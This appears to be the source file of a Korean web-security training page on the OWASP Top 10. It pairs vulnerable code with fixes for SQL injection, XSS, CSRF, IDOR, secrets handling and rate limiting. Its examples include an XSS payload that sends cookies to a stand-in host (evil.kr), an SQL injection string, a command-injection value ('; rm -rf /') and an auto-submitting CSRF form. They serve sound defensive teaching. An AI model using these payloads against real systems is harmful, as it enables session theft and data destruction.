// 이 파일이 하는 일: "웹 보안 심화 — OWASP Top 10" 코스 — 서비스를 만들어 본 수습이
// 공격자의 눈으로 자기 서비스를 다시 보고, 인젝션·XSS·CSRF·접근 통제·설정·남용까지
// 7개 섹션으로 계층 방어(defense in depth)의 감각을 익히는 정적 학습 페이지.
// 프레이밍은 "우리 서비스에 실제로 있었던 구멍" — 무인증 쓰기 남용 차단, 로그인 IP
// 레이트리밋, 프리미엄 조회 로그인 게이팅 같은 우리 커밋 이력을 교재로 삼는다.
// 학습 포인트: API 호출이 없는 '내용 고정' 페이지다. 스타일은 styles/global.css의
// 가이드 전용 클래스(step-card, code-block, tip 등)를 재사용하고 색은 var(--*)만 쓴다(하드코딩 금지).
// 예제 코드는 JSX 중괄호/백틱 충돌을 피하려고 파일 상단의 백틱 문자열 상수로 정의한다.

import { Link } from 'react-router-dom';

// ── 예제 코드 상수들 ──

const CODE_TOP10 = `OWASP Top 10 (2021) — 가장 자주, 가장 아프게 뚫리는 10가지
────────────────────────────────────────────────────────
A01 접근 통제 결함        내 것이 아닌 자원에 손이 닿는다      → 섹션 5
A02 암호화 실패           비밀이 평문으로 흐르거나 저장된다
A03 인젝션                입력이 '코드'로 해석된다 (SQL·XSS)   → 섹션 2·3
A04 안전하지 않은 설계    기능 자체가 남용 가능하게 설계됨      → 섹션 7
A05 보안 설정 오류        기본값·디버그·열린 포트               → 섹션 6
A06 취약한 구식 컴포넌트  낡은 라이브러리가 뒷문이 된다          → 섹션 6
A07 식별·인증 실패        무차별 대입, 약한 세션 관리            → 섹션 7
A08 SW·데이터 무결성 실패 검증 없는 업데이트·역직렬화
A09 로깅·모니터링 실패    뚫렸는데 아무도 모른다                → 섹션 7
A10 SSRF                  서버가 공격자 대신 요청을 보낸다

핵심: 이건 '신기술 목록'이 아니라 '반복되는 실수 목록'이에요.
10개 중 절반은 코드가 아니라 설계·설정·운영에서 태어납니다.`;

const CODE_SQLI = `// SQL 인젝션 — 입력이 '데이터'가 아니라 '코드'로 해석되는 사고
// 잘못된 예: 문자열을 이어 붙여 쿼리를 만든다
String sql = "SELECT * FROM users WHERE email = '" + email + "'";
// email에  ' OR '1'='1  이 들어오면?
// → SELECT * FROM users WHERE email = '' OR '1'='1'
// → 조건이 항상 참이 되어 전체 사용자가 조회됩니다.

// 올바른 예: PreparedStatement — 쿼리의 '구조'를 먼저 확정하고
// 입력은 나중에 '값 자리'에만 끼워 넣는다 (파라미터 바인딩)
PreparedStatement ps = conn.prepareStatement(
    "SELECT * FROM users WHERE email = ?");
ps.setString(1, email);   // email 안의 따옴표는 그냥 '글자'로 취급됨

// 원리: 구조(코드)와 데이터를 분리하면, 아무리 교묘한 입력도
// 문법을 바꿀 수 없어요. 인젝션 방어의 제1원칙입니다.`;

const CODE_ORM = `// "ORM 쓰면 안전하죠?" — 반은 맞고 반은 틀립니다
// 안전: 파생 쿼리·바인딩 파라미터는 내부적으로 PreparedStatement
List<User> findByEmail(String email);                    // 안전
@Query("SELECT u FROM User u WHERE u.email = :email")    // 안전 (바인딩)

// 위험: ORM 위에서도 '문자열 이어 붙이기'를 하는 순간 원점
String jpql = "SELECT u FROM User u WHERE u.name = '"
              + name + "'";                              // 다시 인젝션!
em.createQuery(jpql);

// 같은 원리가 다른 곳에서도 반복됩니다:
// OS 커맨드: Runtime.exec("ping " + host)  → host에 "; rm -rf /"
// LDAP:     "(uid=" + user + ")"           → 필터 조작
// 어디서든 "입력을 이어 붙여 명령을 만들면" 인젝션의 문이 열립니다.`;

const CODE_XSS = `XSS 3종 — 내 스크립트가 남의 브라우저에서 실행되는 세 가지 경로
──────────────────────────────────────────────────────
저장형(Stored)   공격 스크립트가 DB에 '저장'됨 (게시글·채팅·닉네임)
                 → 그 글을 보는 모든 사용자에게 실행. 가장 파괴적.
반사형(Reflected) 요청에 실은 스크립트가 응답에 '반사'되어 실행
                 → 피해자가 조작된 링크를 클릭해야 성립.
DOM 기반         서버는 무관. 프론트 JS가 URL 조각 등을
                 innerHTML로 꽂다가 스스로 실행시킴.

예: 채팅 메시지에  <script>fetch('https://evil.kr/?c='+document.cookie)</script>
를 넣었는데 화면에 '그대로' 렌더링되면 → 보는 사람 모두의 쿠키가 유출.`;

const CODE_XSS_DEFENSE = `// 방어 1층: 출력 인코딩 — 데이터를 화면에 '글자'로만 그리기
// React JSX는 기본적으로 자동 이스케이프합니다
<div>{userMessage}</div>          // <script>가 &lt;script&gt;로 → 안전
<div dangerouslySetInnerHTML={{ __html: userMessage }} />  // 방어 해제!
// 이름부터 'dangerously' — 서버에서 정화(sanitize)한 HTML만 넣을 것.

// 방어 2층: CSP 헤더 — 1층이 뚫려도 실행을 막는 마지막 방어선
Content-Security-Policy:
  default-src 'self';             // 기본: 우리 도메인 것만
  script-src 'self';              // 스크립트: 우리 것만 (인라인 금지)
  object-src 'none';

// 인코딩을 빠뜨린 곳이 하나 생겨도, CSP가 "허용 안 된 출처의
// 스크립트는 실행 불가"로 받아 줍니다. 이게 계층 방어의 감각이에요.`;

const CODE_CSRF = `// CSRF가 성립하는 조건 — 범인은 '쿠키 자동 전송'
// 사용자가 우리 서비스에 로그인(세션 쿠키 보유)한 채로
// 공격자의 페이지를 방문하면:
<form action="https://our-service.kr/api/transfer" method="POST">
  <input type="hidden" name="to" value="attacker" />
</form>
<script>document.forms[0].submit()</script>
// 브라우저는 our-service.kr로 가는 요청에 쿠키를 '자동으로' 붙입니다.
// 서버 입장에선 정상 로그인 사용자의 요청과 구분이 안 돼요.

// 방어 (겹쳐 쓴다):
// ① SameSite 쿠키 — 다른 사이트발 요청엔 쿠키를 안 붙임
Set-Cookie: SESSION=...; HttpOnly; Secure; SameSite=Lax
// ② CSRF 토큰 — 폼마다 예측 불가 토큰을 심고 서버가 대조
// ③ Origin/Referer 검증 — 요청이 어디서 왔는지 서버가 확인`;

const CODE_IDOR = `// IDOR — Insecure Direct Object Reference
// URL의 숫자만 바꿨는데 남의 것이 열린다면?
GET /api/trade-journal/1041     // 내 매매일지 (정상)
GET /api/trade-journal/1042     // 옆 사람 매매일지 — 이게 열리면 사고

// 잘못된 코드: '존재하는지'만 확인하고 '누구 것인지'를 안 본다
JournalEntry entry = repo.findById(id).orElseThrow();
return entry;                   // 인증은 됐지만 인가(소유권)가 없음

// 올바른 코드: 조회 조건에 소유자를 함께 박는다
JournalEntry entry = repo.findByIdAndUserId(id, currentUserId)
    .orElseThrow(() -> new ResponseStatusException(NOT_FOUND));

// 수평 상승: 같은 등급의 '남'의 자원 접근 (위 예)
// 수직 상승: 일반 사용자가 관리자 기능 접근 (role 검증 누락)`;

const CODE_SECRETS = `# 보안 설정 오류의 단골: 코드에 박힌 dev 기본값
# application.yml — 우리 컨벤션: 전부 환경변수 주입, 기본값은 dev 전용
jwt:
  secret: \${JWT_SECRET:dev-only-secret}     # 운영은 .env로 반드시 override
internal:
  key: \${INTERNAL_KEY:dev-internal-key}

# 규칙 세 가지
# ① 시크릿은 코드·git에 두지 않는다 — .env(로컬) / .env.prod(운영)
# ② dev 기본값은 '진짜 비밀'로 승격시키지 않는다 (운영 미주입 = 사고)
# ③ 실수로 커밋된 시크릿은 '삭제'가 아니라 '폐기(rotate)' — 이력에 남는다

# 의존성 스캔(SCA): 내 코드가 완벽해도 라이브러리가 뚫리면 끝
# OWASP Dependency-Check, npm audit, GitHub Dependabot 등으로
# 알려진 취약점(CVE) 있는 버전을 CI에서 자동 검출한다`;

const CODE_RATELIMIT = `// 남용 방어: 레이트리밋 — '정상 기능의 비정상 사용량'을 막는다
// 예: 로그인 시도를 IP당 분당 N회로 제한 (무차별 대입 차단)
String key = "ratelimit:login:" + clientIp;
Long count = valkey.opsForValue().increment(key);
if (count == 1) valkey.expire(key, Duration.ofMinutes(1));
if (count > MAX_ATTEMPTS_PER_MINUTE) {
    throw new ResponseStatusException(TOO_MANY_REQUESTS);  // 429
}

// 남용 방어 + 보안 로깅은 한 쌍이에요
// 실패한 로그인, 차단된 요청, 권한 거부 — '거절한 사실'을 기록해야
// 공격의 패턴이 보입니다 (성공 로그만 남기면 공격은 안 보여요)
auditPublisher.publish(new AuditEvent(
    "LOGIN_BLOCKED", clientIp, Instant.now()));   // → Kafka audit.events

// A09(로깅·모니터링 실패)의 교훈: 뚫린 것보다 무서운 건
// '뚫렸는데 아무도 모르는 것'입니다.`;

// ── 이 페이지 안에서만 쓰는 작은 부품들 ──
// 학습 포인트: 같은 모양이 반복되면 컴포넌트로 뽑는다. props만 바꿔 재사용.
function Section({ n, title, sub, children }) {
  return (
    <section className="step-card" id={`sec-${n}`}>
      <div className="step-head">
        <span className="step-num">{n}</span>
        <div>
          <h3>{title}</h3>
          {sub && <span className="step-sub">{sub}</span>}
        </div>
      </div>
      <div className="step-body">{children}</div>
    </section>
  );
}

function Code({ children }) {
  return <pre className="code-block"><code>{children}</code></pre>;
}

const SECTIONS = [
  { n: 1, label: 'Top 10 지도' },
  { n: 2, label: '인젝션 방어' },
  { n: 3, label: 'XSS 3종' },
  { n: 4, label: 'CSRF' },
  { n: 5, label: '접근 통제' },
  { n: 6, label: '설정·시크릿' },
  { n: 7, label: '남용 방어·로깅' },
];

export default function Lv3WebSecurityPage() {
  return (
    <div>
      {/* 히어로: 이 코스가 어디서 출발해 어디까지 가는지 */}
      <div className="hero">
        <div className="eyebrow">Course · 고급 과정</div>
        <h1>웹 보안 심화<br />— OWASP Top 10</h1>
        <p>
          서비스를 '돌아가게' 만드는 단계는 지났습니다. 이제 질문이 바뀌어요 —{' '}
          <strong>"이 기능을 공격자가 본다면 뭘 노릴까?"</strong> 이 코스는 OWASP Top 10을
          지도 삼아, 공격자의 눈으로 내 서비스를 훑고 <strong>계층으로 방어(defense in
          depth)</strong>하는 감각을 만듭니다. 교재는 남의 사고 사례가 아니라{' '}
          <strong>우리 서비스에 실제로 있었던 구멍들</strong>이에요.
        </p>
        <div className="chip-row">
          <span className="chip">🛡️ 예상 소요 70분</span>
          <span className="chip">실습: 무인증 엔드포인트 위협 모델링</span>
          <span className="chip">선수 지식: HTTP·백엔드 개발 경험</span>
        </div>
      </div>

      {/* 섹션 바로가기 */}
      <nav className="pill-nav">
        {SECTIONS.map((s) => (
          <a key={s.n} href={`#sec-${s.n}`}>
            <b>{s.n}</b>
            {s.label}
          </a>
        ))}
      </nav>

      <Section n={1} title="OWASP Top 10 지도" sub="'반복되는 실수'의 목록을 공격자 관점으로 읽기">
        <p>
          <strong>OWASP</strong>(Open Worldwide Application Security Project)는 전 세계 실제
          침해 데이터를 모아, 웹에서 <strong>가장 자주·가장 아프게</strong> 뚫리는 유형 10가지를
          몇 년마다 발표합니다. 이게 <strong>Top 10</strong>이에요. 신기한 해킹 기법 목록이
          아니라, 수십만 서비스가 <strong>반복해서 저지르는 실수</strong>의 목록입니다.
        </p>
        <Code>{CODE_TOP10}</Code>
        <p>
          읽는 법이 중요해요. "SQL 인젝션 취약점이 있다"를 개발자는 <strong>버그 하나</strong>로
          읽지만, 공격자는 <strong>기회</strong>로 읽습니다 — "이 입력창으로 DB에 명령을 내릴 수
          있다면, 전체 회원 정보를 뽑고, 관리자 계정을 만들고, 다음 서버로 넘어갈 수 있겠군."
          취약점 하나는 목적이 아니라 <strong>발판</strong>이에요. 그래서 방어도 "이 구멍 하나
          막기"가 아니라 <strong>발판이 이어지지 않게 끊기</strong>여야 합니다.
        </p>
        <p>
          그 사고방식이 <strong>심층 방어(defense in depth)</strong>예요. 성 하나를 지킬 때
          성벽 하나에 다 걸지 않고 해자·성벽·내성·경비를 <strong>겹쳐</strong> 두듯이 —
          입력 검증이 뚫려도 파라미터 바인딩이 막고, 인코딩을 빠뜨려도 CSP가 막고, 다 뚫려도
          로그에 남아 <strong>탐지</strong>되게 만듭니다. 이 코스의 모든 섹션이 이 원칙 위에
          서 있어요.
        </p>
        <div className="tip">
          <b>완벽한 방어층은 없다</b> 각 방어층은 언젠가 실수로 구멍이 나요. 계층 방어의 목표는
          "절대 안 뚫림"이 아니라, <strong>한 층의 실수가 전체 붕괴로 이어지지 않게</strong>{' '}
          하는 겁니다. 보안을 잘하는 팀과 못하는 팀의 차이는 실수의 유무가 아니라, 실수가
          터졌을 때의 <strong>피해 반경</strong>이에요.
        </div>
      </Section>

      <Section n={2} title="인젝션 방어" sub="입력이 '코드'로 해석되는 순간을 원천 봉쇄">
        <p>
          <strong>인젝션(A03)</strong>은 가장 고전적이면서 아직도 상위권인 유형이에요.
          본질은 하나입니다 — <strong>사용자 입력이 데이터가 아니라 코드(명령)로 해석되는
          것.</strong> 대표가 SQL 인젝션이죠. 원리와 방어를 코드로 봅시다.
        </p>
        <Code>{CODE_SQLI}</Code>
        <p>
          <span className="icode">PreparedStatement</span>가 안전한 이유를 정확히 알아 두세요.
          입력을 "잘 필터링해서"가 아니라, <strong>쿼리의 구조를 먼저 확정</strong>하고 입력은
          값 자리에만 끼우기 때문이에요. 구조와 데이터가 분리되면 어떤 입력도 문법을 바꿀 수
          없습니다. 블랙리스트 필터링("따옴표를 지우자")은 우회 기법이 수십 가지라 방어가 못
          돼요.
        </p>
        {/* 학습 포인트: "ORM 쓰니까 안전"이라는 흔한 오해를 정면으로 깬다 */}
        <p>
          "우린 JPA 쓰는데요?" — 좋은 습관이지만 <strong>면죄부는 아닙니다.</strong> ORM도
          결국 SQL을 만들어요. 바인딩 파라미터를 쓰는 경로는 안전하지만, <strong>동적
          쿼리를 문자열로 이어 붙이는 순간</strong> 같은 구멍이 다시 열립니다.
        </p>
        <Code>{CODE_ORM}</Code>
        <div className="tip">
          <b>패턴으로 기억하기</b> SQL·OS 커맨드·LDAP·NoSQL — 대상은 달라도 공식은 하나예요.{' '}
          <strong>"입력을 이어 붙여 명령을 만들면 인젝션"</strong>. 반대로 방어 공식도 하나 —{' '}
          <strong>"명령의 구조와 데이터를 분리하라"</strong>. 새 기술을 만나도 이 공식을 대 보면
          위험한 코드가 보입니다.
        </div>
      </Section>

      <Section n={3} title="XSS 3종" sub="남의 브라우저에서 내 스크립트가 실행된다면">
        <p>
          <strong>XSS(Cross-Site Scripting)</strong>는 인젝션의 브라우저판이에요. 사용자 입력이
          HTML에 섞여 들어가, <strong>다른 사용자의 브라우저에서 스크립트로 실행</strong>되는
          거죠. 실행된 스크립트는 그 사용자의 권한으로 쿠키를 훔치고, API를 호출하고, 화면을
          위조할 수 있습니다. 경로에 따라 세 종류로 나눠요.
        </p>
        <Code>{CODE_XSS}</Code>
        <p>
          셋의 구분이 중요한 이유: <strong>고치는 위치가 달라서</strong>예요. 저장형·반사형은
          서버가 응답을 만들 때, DOM 기반은 프론트 JS가 화면을 그릴 때 문제가 생깁니다.
          우리처럼 채팅·댓글 등 <strong>사용자가 쓴 글을 다른 사용자에게 보여 주는</strong>{' '}
          기능이 있는 서비스는 저장형 XSS가 1순위 점검 대상이에요.
        </p>
        <Code>{CODE_XSS_DEFENSE}</Code>
        <p>
          방어의 뼈대는 <strong>출력 인코딩</strong>입니다 — 데이터가 화면에 나갈 때{' '}
          <span className="icode">&lt;</span>를 <span className="icode">&amp;lt;</span>로 바꿔
          '글자'로만 그리는 것. React·Vue 같은 프레임워크는 이걸 <strong>자동으로</strong> 해
          줘서, 우리가 실수할 표면이 크게 줄었어요. 위험한 건 그 자동 방어를 스스로 끄는
          순간 — <span className="icode">dangerouslySetInnerHTML</span>, 혹은 서버 템플릿에서
          이스케이프를 끄는 옵션들입니다.
        </p>
        <div className="tip">
          <b>계층 방어의 실전</b> ① 프레임워크 자동 이스케이프(기본 방어) → ② HTML을 꼭 넣어야
          하면 서버측 정화 라이브러리(sanitizer) → ③ <strong>CSP 헤더</strong>(다 뚫렸을 때의
          마지막 방어선). 인코딩 실수는 언젠가 나요. CSP가 있으면 그 실수가 "화면 깨짐"으로
          끝나고, 없으면 "전 사용자 세션 탈취"로 끝납니다.
        </div>
      </Section>

      <Section n={4} title="CSRF와 요청 위조" sub="쿠키 자동 전송이라는 편리함의 뒷면">
        <p>
          <strong>CSRF(Cross-Site Request Forgery)</strong>는 이름 그대로 <strong>요청
          위조</strong>예요. 공격자가 사용자 몰래, 사용자의 권한으로 우리 서버에 요청을 보내게
          만듭니다. 성립 조건은 단 하나 — <strong>브라우저가 쿠키를 자동으로 전송</strong>한다는
          것. 사용자가 우리 서비스에 로그인한 상태로 공격자의 페이지를 열면, 그 페이지가 우리
          서버로 보내는 요청에도 세션 쿠키가 자동으로 실려 갑니다.
        </p>
        <Code>{CODE_CSRF}</Code>
        <p>
          방어 세 가지를 겹쳐 씁니다. <strong>① SameSite 쿠키</strong> — 다른 사이트에서 시작된
          요청엔 쿠키를 붙이지 않게 브라우저에게 지시(<span className="icode">Lax</span>가
          현실적 기본값). <strong>② CSRF 토큰</strong> — 정상 화면에만 심어 둔 예측 불가 값을
          요청에 함께 보내게 하고 서버가 대조. <strong>③ Origin 검증</strong> — 요청 헤더의
          출처가 우리 도메인인지 서버가 확인.
        </p>
        {/* 학습 포인트: 추상 개념을 우리 서비스의 진행 중인 과제와 연결한다 */}
        <p>
          우리 서비스와의 연결고리가 하나 있어요. 지금 우리는 토큰을{' '}
          <span className="icode">localStorage</span>에서 <strong>httpOnly 쿠키로 옮기는
          전환 과제</strong>를 진행 중입니다. httpOnly 쿠키는 JS가 못 읽으니 <strong>XSS로
          토큰이 탈취되는 경로를 끊어</strong> 주지만, 쿠키가 되는 순간 <strong>자동 전송이라는
          CSRF의 성립 조건</strong>이 새로 생겨요. 그래서 이 전환은 반드시{' '}
          <span className="icode">SameSite</span> 설정과 짝으로 가야 합니다.
        </p>
        <div className="tip">
          <b>저장소별 트레이드오프</b> localStorage 토큰: CSRF엔 강함(자동 전송 없음), XSS엔
          약함(JS로 읽힘). httpOnly 쿠키: XSS 탈취엔 강함, CSRF 대비 필요. <strong>완벽한
          저장소는 없고, 어느 위협을 더 크게 보느냐의 선택</strong>이에요 — 이런 트레이드오프
          판단이 바로 '고급 과정'이 요구하는 감각입니다.
        </div>
      </Section>

      <Section n={5} title="접근 통제 결함" sub="A01 — 1위에 오른 이유가 있다">
        <p>
          <strong>접근 통제 결함(Broken Access Control)</strong>은 2021년 Top 10에서{' '}
          <strong>1위</strong>예요. 인증(누구인지 확인)은 통과했는데 <strong>인가(그 사람이
          이걸 해도 되는지)</strong>를 빠뜨린 모든 경우가 여기 들어갑니다. 가장 흔한 형태가{' '}
          <strong>IDOR</strong> — URL이나 파라미터의 식별자만 바꿔서 남의 자원에 접근하는
          거죠.
        </p>
        <Code>{CODE_IDOR}</Code>
        <p>
          권한 상승엔 두 방향이 있어요. <strong>수평 상승</strong>은 같은 등급의 다른 사용자
          자원에 접근(내 일지 → 남의 일지), <strong>수직 상승</strong>은 더 높은 권한의 기능에
          접근(일반 사용자 → 관리자 API). 둘 다 뿌리는 같습니다 — <strong>서버가 "이 요청자가
          이 자원에 권한이 있나"를 확인하지 않은 것.</strong>
        </p>
        <p>
          철칙은 하나예요. <strong>권한 검증은 서버에서, 모든 요청마다, 절대 생략하지
          않는다.</strong> "프론트에서 버튼을 숨겼으니까", "URL을 모르면 못 들어오니까"는 방어가
          아닙니다. 공격자는 화면이 아니라 <strong>API를 직접</strong> 두드려요. 프론트의 숨김은
          UX일 뿐, 보안은 서버 코드 안에만 존재합니다.
        </p>
        {/* 학습 포인트: 실제 우리 커밋에서 배우는 사례 — 추상론이 아니라 지난주의 일 */}
        <div className="tip">
          <b>우리 서비스의 실제 사례</b> 우리 시세 서비스의 <strong>프리미엄 조회
          API</strong>(호가·투자자동향)가 한동안 <strong>로그인 없이 열려</strong> 있었어요.
          화면에선 로그인 사용자에게만 보였지만, API를 직접 호출하면 누구나 프리미엄 데이터를
          가져갈 수 있었죠 — 전형적인 "프론트 숨김 ≠ 접근 통제"입니다. 최근에 서버측{' '}
          <strong>로그인 게이팅</strong>을 넣어 막았어요. 여러분이 실습에서 찾아야 할 게 바로
          이런 종류의 구멍입니다.
        </div>
      </Section>

      <Section n={6} title="설정·의존성·시크릿" sub="코드 밖에서 태어나는 취약점들">
        <p>
          Top 10의 절반은 코드 로직이 아니라 <strong>설정과 운영</strong>에서 나옵니다.{' '}
          <strong>보안 설정 오류(A05)</strong>의 단골 목록: 디버그 모드가 켜진 운영 서버,
          바깥에 열린 관리 콘솔, 기본 계정·기본 비밀번호, 그리고 <strong>코드에 하드코딩된 dev
          기본 시크릿</strong>이 운영까지 그대로 흘러가는 사고.
        </p>
        <Code>{CODE_SECRETS}</Code>
        <p>
          우리 컨벤션이 정확히 이 지점을 겨냥해요. <strong>설정값은 전부{' '}
          <span className="icode">환경변수:기본값</span> 형태로 주입</strong>하고, 시크릿은
          코드가 아니라 <span className="icode">.env</span>(로컬)/<span className="icode">.env.prod</span>
          (운영)에만 둡니다. 단, 함정이 하나 있어요 — <strong>dev 기본값이 코드에 남아 있다는
          것 자체</strong>가 위험 요소입니다. 운영에서 env 주입을 빠뜨리면 dev 시크릿으로
          돌아가 버리니까요. "기본값으로도 일단 돌아간다"는 편리함이 곧 사고의 씨앗이에요.
        </p>
        <p>
          <strong>취약한 컴포넌트(A06)</strong>도 같은 결이에요. 내 코드가 완벽해도, 의존하는
          라이브러리에 알려진 취약점(CVE)이 있으면 거기가 뒷문이 됩니다. 방어는{' '}
          <strong>SCA</strong>(Software Composition Analysis) — 의존성 목록을 취약점 DB와
          대조하는 자동 스캔(<span className="icode">npm audit</span>, Dependabot, OWASP
          Dependency-Check)을 CI에 넣어, 사람이 기억하지 않아도 걸리게 만드는 거예요.
        </p>
        <div className="tip">
          <b>커밋된 시크릿은 지워도 안 지워진다</b> 시크릿을 실수로 커밋했다면, 파일에서
          지우고 다시 커밋해도 <strong>git 이력엔 그대로 남아요.</strong> 올바른 대응은 삭제가
          아니라 <strong>폐기(rotate)</strong> — 그 키를 즉시 무효화하고 새 키를 발급하는
          겁니다. "노출됐을 가능성이 있는 비밀은 이미 비밀이 아니다"로 취급하세요.
        </div>
      </Section>

      <Section n={7} title="남용 방어와 로깅" sub="정상 기능의 비정상 사용, 그리고 탐지">
        <p>
          마지막 층은 <strong>기능이 아니라 사용량</strong>의 문제예요. 로그인 API 자체는
          멀쩡해도, 한 IP가 초당 수백 번 두드리면 <strong>무차별 대입(brute force)</strong>이
          되고, 무인증 쓰기 엔드포인트는 <strong>스팸·도배의 통로</strong>가 됩니다. Top 10의{' '}
          <strong>안전하지 않은 설계(A04)</strong>와 <strong>인증 실패(A07)</strong>가 겹치는
          영역이죠. 방어의 기본기가 <strong>레이트리밋</strong>입니다.
        </p>
        <Code>{CODE_RATELIMIT}</Code>
        {/* 학습 포인트: 이번에도 우리 커밋 이력이 교재 — 로그인 IP 제한과 무인증 쓰기 차단 */}
        <p>
          이것도 남의 얘기가 아니에요. 우리 서비스는 최근 <strong>로그인에 IP 기반
          레이트리밋</strong>을 넣어 무차별 대입과 가입·재설정 남용을 막았고, <strong>무인증으로
          열려 있던 쓰기 엔드포인트들</strong>(광고 문의·채팅·신고)의 남용 차단 작업을
          했습니다. "누구나 쓸 수 있어야 하는 기능"과 "무한정 쓸 수 있는 기능"은 다르다는 걸
          기억하세요.
        </p>
        <p>
          그리고 <strong>로깅·모니터링 실패(A09)</strong>. 침해 사고의 진짜 비극은 뚫린 것이
          아니라 <strong>몇 달 동안 아무도 몰랐다는 것</strong>인 경우가 많아요. 그래서 보안
          이벤트 — 로그인 실패, 레이트리밋 차단, 권한 거부 — 는 반드시 기록합니다. 우리는
          감사 이벤트를 Kafka 토픽 <span className="icode">audit.events</span>로 흘려 로그
          서비스가 적재해요. 성공 로그만 남기면 공격은 영원히 안 보입니다 —{' '}
          <strong>거절한 사실이야말로 공격 탐지의 원료</strong>예요.
        </p>
        <p>
          같은 원칙이 코드 레벨에도 있어요. <strong>실패를 조용히 넘기지 않기.</strong> 빈{' '}
          <span className="icode">catch</span> 블록, 무시된 에러 응답, "일단 200 리턴" — 이런
          코드는 장애만 숨기는 게 아니라 <strong>공격의 흔적도 같이 숨깁니다.</strong> 실패는
          명시적으로 처리하고, 보안적으로 의미 있는 실패는 로그로 남기세요.
        </p>
        <div className="tip">
          <b>실습 안내</b> 우리 서비스의 <strong>무인증 쓰기 엔드포인트 하나</strong>(광고
          문의·채팅·신고 중 택 1)를 골라, 이 코스에서 배운 렌즈로 위협 모델링을 정리해
          보세요. ① 공격자는 이 엔드포인트로 뭘 할 수 있나(스팸? 인젝션? 저장형 XSS?) →
          ② 지금 있는 방어층은 무엇인가 → ③ 어떤 층을 더 겹칠 것인가(입력 검증·레이트리밋·
          로깅) → ④ 뚫렸다면 어떻게 알아챌 것인가. 네 질문에 답이 되면 실습 완료입니다.
        </div>
      </Section>

      <div className="step-card">
        <div className="step-body">
          <h3 style={{ marginBottom: 6 }}>🛡️ 여기까지 왔다면</h3>
          <p className="muted">
            이제 기능 명세 옆에 항상 두 번째 질문이 따라붙을 거예요 — "공격자라면 여길 어떻게
            쓸까?" 인젝션엔 구조와 데이터의 분리, XSS엔 인코딩과 CSP, CSRF엔 SameSite와 토큰,
            접근 통제엔 서버측 검증, 설정엔 env 주입, 남용엔 레이트리밋과 로깅 — 그리고 이 모든
            층을 <strong>겹쳐 쌓는 심층 방어</strong>까지. 그런데 섹션 4에서 만난 질문이 하나
            남아 있죠. 토큰은 어디에 두고, 세션과 JWT 중 무엇을 택하고, 소셜 로그인은 어떻게
            얹어야 할까요? 다음{' '}
            <Link to="/learn/lv3-auth-architecture"><strong>인증 아키텍처 — 세션 vs JWT vs
            OAuth</strong></Link> 코스에서, 보안의 심장인 인증 설계를 정면으로 다룹니다.
          </p>
        </div>
      </div>
    </div>
  );
}
